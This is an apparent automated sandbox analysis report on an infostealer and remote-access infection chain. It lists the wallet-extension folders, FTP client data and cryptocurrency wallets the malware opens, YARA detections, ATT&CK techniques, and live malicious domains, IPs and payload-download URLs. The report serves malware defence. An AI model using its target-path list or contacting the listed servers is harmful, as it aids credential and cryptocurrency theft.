Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000009.00000003.2666665941.0000000000651000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2665749339.0000000000651000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 81c86993fb.exe PID: 4488, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 81c86993fb.exe PID: 4488, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009FEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		5_2_009FEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009FDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		5_2_009FDF51

Source: Yara match	File source: 7.0.FuturreApp.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FuturreApp.exe.6c100000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FuturreApp.exe.6f6f0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FuturreApp.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.YIFtngJ.exe.4fbe800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FuturreApp.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FuturreApp.exe.6c280000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FuturreApp.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2997958771.00000000037B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3004782466.00000000111E1000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.2453706303.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2992005380.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2990562991.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YIFtngJ.exe PID: 4464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FuturreApp.exe PID: 7132, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Netstat\FuturreApp.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	112 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	23 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	257 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	24 Software Packing	NTDS	991 Security Software Discovery	Distributed Component Object Model	Input Capture	125 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	371 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	44%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	100%	Joe Sandbox ML
C:\Users\Public\Netstat\FuturreApp.exe	29%	ReversingLabs	Win32.Trojan.NetSupport
C:\Users\Public\Netstat\HTCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\PCICHEK.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\PCICL32.DLL	12%	ReversingLabs
C:\Users\Public\Netstat\TCCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\msvcr100.dll	0%	ReversingLabs
C:\Users\Public\Netstat\pcicapi.dll	3%	ReversingLabs
C:\Users\Public\Netstat\remcmdstub.exe	13%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	44%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Reputation
treehoneyi.click	104.21.91.209	true	true	unknown
geo.netsupportsoftware.com	104.26.0.231	true	false	high
home.twentytk20pn.top	147.45.113.159	true	false	high
httpbin.org	34.226.108.155	true	false	high

Contacted URLs

Name	Malicious	Reputation
http://geo.netsupportsoftware.com/location/loca.asp	false	high
aspecteirs.lat	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
treehoneyi.click	true	unknown
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
energyaffai.lat	false	high
https://treehoneyi.click/api	true	unknown
grannyejh.lat	false	high
necklacebudi.lat	false	high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://%s/testpage.htmwininet.dll	FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exe1	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/ac/?q=	81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/apil	81c86993fb.exe, 00000009.00000003.2666288444.00000000006A6000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2665749339.000000000068B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2749476705.000000000540E000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2710769414.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2666913985.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2687768831.000000000540E000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2687662908.000000000540C000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exe)	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
